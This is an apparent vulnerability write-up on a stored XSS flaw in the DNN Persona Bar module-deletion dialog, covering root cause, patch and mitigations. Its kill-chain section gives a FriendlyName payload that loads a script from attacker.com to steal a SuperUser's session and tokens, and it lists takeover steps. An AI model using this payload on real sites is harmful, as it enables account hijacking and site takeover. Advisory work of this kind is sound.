Friendly Fire: Stored XSS in DNN Persona Bar (CVE-2026-24837)

DNN (formerly DotNetNuke) is the cockroach of the CMS world—it survives everything. In its modern evolution, it slapped a shiny React-based Single Page Application (SPA) called the "Persona Bar" on top of its legacy ASP.NET backend. This bar is the cockpit for administrators, allowing them to manage pages, users, and modules via REST APIs.

But here's the thing about modern SPAs on legacy backends: they often disagree on who is responsible for security. The backend thinks, "I'm just storing data; the frontend will escape it." The frontend thinks, "This data came from our trusted database; surely it's safe to render raw HTML." CVE-2026-24837 is exactly what happens when that trust model falls apart.

We are looking at a Stored Cross-Site Scripting (XSS) vulnerability nestled in the module management logic. It’s not a complex buffer overflow or a cryptographic break. It’s the digital equivalent of labeling a bottle of poison "Apple Juice" and watching the bartender pour it for the VIPs. If you can poison the FriendlyName of a module, you can hijack the session of the SuperUser who comes to clean it up.

The root cause is a classic failure in Output Encoding. In React, data binding is safe by default—if you write <div>{moduleName}</div>, React escapes special characters. To get XSS in React, a developer usually has to go out of their way to use dangerouslySetInnerHTML or mix in legacy jQuery code that manipulates the DOM directly.

In this specific case, the vulnerability lives in the modal dialog used to confirm module deletion. When a module is flagged for removal, the UI fetches its metadata, including the FriendlyName. The developers likely wanted to support some formatting in module names or simply reused a generic modal component that supports HTML content.

Instead of treating the module name as a string literal, the application treats it as markup. The browser sees <img src=x onerror=alert(1)>, parses the tag, tries to load the image, fails, and executes the error handler. Because this payload is pulled from the ModuleDefinitions table in the database, it persists across sessions. It sits there, waiting like a landmine for an administrator to trigger the "Delete" workflow.

The fix for this is fascinating because it wasn't just a simple escape function; the DNN team realized they had a systemic problem. They didn't just patch the modal; they introduced a full-blown sanitization library.

In the patch analysis (Commit 1920793), we see the introduction of AngleSharp and HtmlSanitizer. This is significant. It implies that simply encoding output wasn't enough—they needed to strip dangerous tags while potentially preserving safe HTML in other areas.

They added a new utility in HtmlUtils.cs:

public static string CleanOutOfJavascript(string htmlInput)
{
    var sanitizer = new HtmlSanitizer();
    sanitizer.AllowedAttributes.Remove("onclick");
    sanitizer.AllowedSchemes.Remove("javascript");
    sanitizer.AllowedTags.Remove("script");
    return sanitizer.Sanitize(htmlInput);
}

This is the "Nuclear Option" of XSS prevention. Instead of trusting the frontend to escape data, they are now scrubbing the data before it's even eligible for rendering. They also added specific checks in TabModulesController.cs to enforce these checks based on PortalSettings. This confirms that previous versions were blindly trusting database content to be clean.

Let's construct the kill chain. To pull this off, you need Page Editor permissions or higher—someone who can install modules or modify page settings. You don't need to be a SuperUser (the target), just someone with enough rights to change a label.

Step 1: The Setup You navigate to the Module Settings for a standard Text/HTML module. In the "Friendly Name" field, which usually says something boring like "Content Block", you inject the payload:

My Safe Module <img src=x onerror="var s=document.createElement('script');s.src='https://attacker.com/hook.js';document.head.appendChild(s);">

Step 2: The Trap The application saves this string into the database without complaint. To the casual observer viewing the page, nothing happens yet because the friendly name isn't always rendered as raw HTML in the main view.

Step 3: The Trigger A SuperUser logs in to do some maintenance. They see this oddly named module or perhaps you reported it as "broken" to lure them in. They decide to delete it. They enter the Persona Bar, hover over the module, and click the Trash icon.

Step 4: The Execution The application pops up: "Are you sure you want to delete 'My Safe Module [IMAGE]'?"

Before they can even click "Yes", the browser renders the name in the modal. The onerror event fires. The script loads. You now have their session cookies, anti-forgery tokens, and full control over the DNN instance.

Why is this rated High (CVSS 7.7) and not Critical? Only because it requires High Privileges (PR:H) to stage the attack. But make no mistake: inside the DNN ecosystem, XSS for a SuperUser is functionally equivalent to Remote Code Execution (RCE).

DNN has a powerful API. With the victim's session, your JavaScript payload can:

1. Create a new SuperUser account for persistent access.
2. Upload arbitrary files via the File Manager or Digital Asset Management module.
3. Execute SQL via the SQL Console (if enabled).
4. Edit the web.config to disable security checks.

You aren't just stealing a cookie; you are effectively sitting at the keyboard of the system administrator.

If you are running DNN Platform 9.x prior to 9.13.10 or 10.x prior to 10.2.0, you are vulnerable. The update is mandatory.

Mitigation Strategy:

1. Upgrade: Apply the official patch which integrates HtmlSanitizer.
2. Audit: Run a SQL query against your ModuleDefinitions and TabModules tables looking for %<script>% or %onerror=%.

   SELECT * FROM ModuleDefinitions WHERE FriendlyName LIKE '%<script%';

3. WAF: Ensure your Web Application Firewall is inspecting POST requests to the API endpoints /DesktopModules/InternalServices/API/* for XSS signatures.

Don't rely on "being careful." In a complex codebase like DNN, data flows in unexpected ways. Rely on the patch.